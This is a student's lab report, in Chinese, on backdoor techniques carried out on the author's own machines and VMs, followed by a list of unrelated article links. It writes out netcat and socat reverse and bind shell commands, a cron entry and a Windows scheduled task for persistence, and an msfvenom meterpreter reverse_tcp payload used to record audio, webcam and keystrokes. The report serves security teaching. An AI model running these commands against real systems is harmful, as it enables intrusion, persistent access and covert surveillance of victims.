当前位置: 首页 > news >正文

2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165211

目录

  • 后门原理与应用
    • 实验内容
    • 基础问题回答
    • 常用后门工具
      • Netcat
      • Socat
      • MSFmeterpreter
    • 实践过程记录
      • 1.后门工具熟悉
      • 2.使用netcat获取主机操作Shell,cron启动
      • 3.使用Socat获取主机操作Shell, 任务计划启动
      • 4. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
      • 5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    • 实验总结与体会
      • 遇到问题
      • 实验体会

后门原理与应用


实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用Socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    1. 在网上下载的一些软件,会带有后门
    2. 系统会自带后门
    3. 通过U盘传播
  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    1. windows的定时任务
    2. linux的cron
    3. 社会工程学,让用户点击运行
  3. Meterpreter有哪些给你映像深刻的功能?

    1. 开始界面真的很酷炫???(咳咳咳……
    2. 摄像头权限的获得,平时我自己的电脑一般都是处于开启或者休眠的状态(重新开机,启动软件太麻烦),摄像头权限一旦被他人获得,会暴露自己的隐私,生活环境,有一种时刻会被人监视的诡异感(=.=|……
  4. 如何发现自己有系统有没有被安装后门?

    1. 安装杀毒软件,定时检查自己的电脑

    2. 保持自己电脑的windows defender处于开启的状态

      能够及时的发现后门,并删除。


常用后门工具

Netcat

参考资料:

Netcat简介

Linux系统终端命令:netcat的基本使用

关于netcat,找了一些专门介绍的博客,netcat是一个通过TCP/UDP在网络中进行读写数据工具,被称为“瑞士军刀”,主要用于调试领域、传输领域甚至黑客攻击领域。利用该工具,可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。

主要功能

  • 支持连出和连入(outbound and inbound connection),TCP和UDP,任意源和目的端口
  • 全部DNS正向/反向检查,给出恰当的警告
  • 使用任何源端口
  • 使用任何本地设置的网络资源地址
  • 内建端口扫描功能,带有随机数发生器
  • 内建loose source-routing功能
  • 可能标准输入读取命令行参数
  • 慢发送模式,每N秒发送一行
  • 以16进制显示传送或接收的数据
  • 允许其它程序服务建立连接,可选
  • 对Telnet应答,可选

netcat在kali里可以直接使用,windows中需要下载后使用(Socat同理)。

它的简单使用过程在下面实践过程记录中会有详细的介绍。

Socat

参考资料:

socat的安装与使用

Netcat++,超级netcat工具

MSFmeterpreter

参考资料:

后渗透之meterpreter使用攻略

这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

本次实验主要用Metaspolit的msfvenom指令来生成一个后门可执行文件。


实践过程记录

写在前面的话:在本次实验中我一开始用的是本机作为windows端,但是由于我的win10是家庭版,windows defender不能完全关闭,在设置文件夹信任之后,权限又出现了问题,所以,后来在完成任务四时,切到了虚拟机来完成。以下是我的三个端的IP地址

本机windows 172.16.2.51

1043647-20190323154902012-1808194253.png

虚拟机kali 192.168.139.138

1043647-20190323154907872-237849200.png

虚拟机windows7 192.168.139.140

1043647-20190323154913153-2012798310.png

1.后门工具熟悉

1.1Win获得Linux Shell

  1. windows端进入netcat文件的位置,使用命令行输入 ncat.exe -l -p 5211,打开监听,其中,5211为监听的端口。

1043647-20190323154920345-340024783.png

  1. linux端在命令行输入 nc 192.168.20.175 5211 -e /bin/sh,反弹连接Windows端。

1043647-20190323154932734-706084218.png

  1. 此时windows下就已经获得了linux shell,可以通过windows端的命令行实现对linux的操作啦~

1043647-20190323154937131-1733736220.png

1.2Linux获得Win Shell

这个操作与上一个操作类似了,以下主要过程:

  1. Linux运行监听指令,指令为:nc -l -p 5211

1043647-20190323154946455-1617743838.png

  1. windows反弹连接linux,指令为 :ncat.exe -e cmd.exe 192.168.139.138 5211

1043647-20190323154951053-112309090.png

  1. 此时linux下就获得了windows的控制权,可以通过linux来控制windows主机了

1043647-20190323154955494-76280999.png

1.3使用netcat传输数据

  1. 在windows下输入命令:ncat.exe -l 5211,实现监听5211端口

1043647-20190323154959610-519852023.png

  1. Kali下输入ncat 172.16.2.51 5211,连接到windows的5211端口,输入一些数据

1043647-20190323155003287-1253794448.png

  1. 随后我们就可以看到,已经实现了linux和windows之间的数据传输啦~

1043647-20190323155007180-1935624638.png

2.使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令

  1. windows端下,输入命令ncat.exe -l -p 5211,监听本机的5211端口。

1043647-20190323155012739-2143162645.png

  1. 在kali端下,输入crontab -e,实现编辑一条定时任务。

  2. 打开后,在最后一行添加 命令 05 * * * * /bin/netcat 172.16.2.51 5211 -e /bin/sh,即为每小时的5分运行此命令。

1043647-20190323155019281-437534778.png

  1. 此时,可以看到,在windows端已经获得了linux的shell(ls 输多了的后果……

1043647-20190323155023060-712076452.png

3.使用Socat获取主机操作Shell, 任务计划启动

  1. 在windows系统下,计算机管理-->任务计划程序-->创建任务
    1043647-20190323155039431-1085124789.png

  2. 新建触发器,选择,当工作站锁定时。
    1043647-20190323155049316-64967202.png

  3. 在操作中,将程序或脚本中选择socat.exe路径,参数一栏填写tcp-listen:5211 exec:cmd.exe,pty,stderr

1043647-20190323155053124-809164560.png

  1. 完成创建,即可在将Windows主机锁定重启之后,查看任务栏工作状态,发现我们新建的任务已经开始运行。

1043647-20190323155058476-1057779554.png

  1. 在kali环境下输入socat - tcp:172.16.2.51:5211,即可获得windows的shell。

1043647-20190323155102136-68453554.png

4. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 使用msfvenom指令生成一个后门程序。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.138 LPORT=5211 -f exe > 20165211_Akashi.exe

1043647-20190323155110292-1355397320.png

  1. 通过nc将生成的可执行文件发送到目标windows端

    Kali端:

1043647-20190323155113882-44508028.png

windows端:

1043647-20190323155119642-1507648019.png

kali端:

1043647-20190323155123853-1924714956.png

  1. kali端使用msfconsole指令进入msf控制台,设置各项参数。执行监听

1043647-20190323155129629-1165849791.png

1043647-20190323155141449-2077262188.png

  1. 在windows端运行后门程序

1043647-20190323155149819-478482437.png

  1. 则此时在kali上已经获得Windows的shell

1043647-20190323155155036-644874621.png

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 获取目标主机音频

1043647-20190323155200701-459117075.png

  1. 获取目标主机摄像头

1043647-20190323155207766-696665299.png

1043647-20190323155213742-362613711.png

  1. 获取目标主机击键记录

1043647-20190323155218126-1100830050.png


实验总结与体会

遇到问题

在尝试获取主机摄像头时,出现了如下错误

1043647-20190323155225588-980516429.png

检查后发现,虚拟的摄像头未分配,将虚拟机的摄像头打开后即可正常运行。

实验体会

在本次实验中,在体验了MSF的功能之后,虽然是一场自己打自己的过程,但是在现实中,如果不注意信息安全,没有安全意识,这样简单的过程,其实完全可以完成一场完整的黑客行为。(默默关掉了摄像头……)

还是要注意自己的信息安全,不随意使用来路不明的U盘,不点击有危险的文件,网络危机四伏,还是要时刻注意的。

转载于:https://www.cnblogs.com/akashi/p/10584285.html

相关文章:

  • 每日 30 秒 ⏱ 谁敢与我一战
  • 用Python爬取王者农药英雄皮肤
  • 杂记:Python 两坑
  • Sass预处理器常用功能(OneLine周分享)
  • Java程序设计第一次作业
  • mysql 原理 ~ 线程与IO
  • 牛客挑战赛30 简要题解
  • 【复习笔记】---java基础
  • 运维工作钱少、事多而且杂?年轻人,你这个思想很危险吶
  • centos7下关闭sshd的tcp6
  • Media Queries实现屏幕适配
  • SkyWalking Liunx 环境搭建NetCore接入
  • 死磕 java集合之HashMap源码分析
  • CocoaPods使用小结
  • js 中异步处理
  • (三)从jvm层面了解线程的启动和停止
  • [iOS]Core Data浅析一 -- 启用Core Data
  • [笔记] php常见简单功能及函数
  • [微信小程序] 使用ES6特性Class后出现编译异常
  • 2019年如何成为全栈工程师?
  • ABAP的include关键字,Java的import, C的include和C4C ABSL 的import比较
  • CSS 专业技巧
  • Idea+maven+scala构建包并在spark on yarn 运行
  • Intervention/image 图片处理扩展包的安装和使用
  • Java到底能干嘛?
  • k8s 面向应用开发者的基础命令
  • PhantomJS 安装
  • Redis提升并发能力 | 从0开始构建SpringCloud微服务(2)
  • Redux 中间件分析
  • SpringCloud(第 039 篇)链接Mysql数据库,通过JpaRepository编写数据库访问
  • Twitter赢在开放,三年创造奇迹
  • 初识 beanstalkd
  • 创建一种深思熟虑的文化
  • 大整数乘法-表格法
  • 给初学者:JavaScript 中数组操作注意点
  • 关于Flux,Vuex,Redux的思考
  • 实战:基于Spring Boot快速开发RESTful风格API接口
  • 通信类
  • 我有几个粽子,和一个故事
  • 由插件封装引出的一丢丢思考
  • ###STL(标准模板库)
  • #我与Java虚拟机的故事#连载11: JVM学习之路
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (C#)获取字符编码的类
  • (二)Pytorch快速搭建神经网络模型实现气温预测回归(代码+详细注解)
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (附源码)计算机毕业设计SSM保险客户管理系统
  • (附源码)小程序 交通违法举报系统 毕业设计 242045
  • (切换多语言)vantUI+vue-i18n进行国际化配置及新增没有的语言包
  • (十一)JAVA springboot ssm b2b2c多用户商城系统源码:服务网关Zuul高级篇
  • (已解决)什么是vue导航守卫
  • (原创)攻击方式学习之(4) - 拒绝服务(DOS/DDOS/DRDOS)
  • .Mobi域名介绍